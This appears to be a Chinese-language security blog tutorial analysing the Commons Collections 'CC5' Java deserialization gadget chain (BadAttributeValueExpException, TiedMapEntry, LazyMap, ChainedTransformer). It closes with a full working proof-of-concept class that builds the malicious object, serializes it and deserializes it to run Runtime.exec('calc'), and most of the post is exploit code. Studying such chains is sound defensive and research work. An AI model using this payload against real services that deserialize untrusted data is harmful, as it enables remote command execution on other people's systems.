LOADING

加载过慢请开启缓存 浏览器默认开启

CC5分析

2024/8/19 Java

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。

先看一下ysoserial的利用链

    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

和CC1国外那条链对比LazyMap后面一模一样,这里入口换成了BadAttributeValueExpException类,先找到他的readObject方法

72行获取val的值,赋值给valobj

86行调用了valobj的toString方法,假设valobj为TiedMapEntry,那么就会调用到TiedMapEntry#toString

image-1708444534956

跟进TiedMapEntry#toString发现调用了getValue

image-1708444554511

跟进getValue发现调用了map.get

image-1708444562327

看一下他的构造方法,map可控

image-1708444568041

如果map传递为LazyMap则会调用LazyMap#get,后面就跟CC1一样了

image-1708444574722

先复制过来CC1的代码

        Transformer[] transform1 = new Transformer[]{
                new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
        HashMap<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);

创建一个TiedMapEntry对象并复制

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");

创建一个BadAttributeValueExpException对象

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

通过反射修改badAttributeValueExpException的val

        Class  c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

然后序列化反序列化就行了

完整代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5_Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transform1 = new Transformer[]{
                new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
        HashMap<Object, Object> map = new HashMap<>();
        Map decorate = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class  c = badAttributeValueExpException.getClass();
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
        System.out.println("serialize");
    }

    public static Object unserialize(String str) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
        Object obj = objectInputStream.readObject();
        System.out.println("unserialize");
        return obj;
    }

}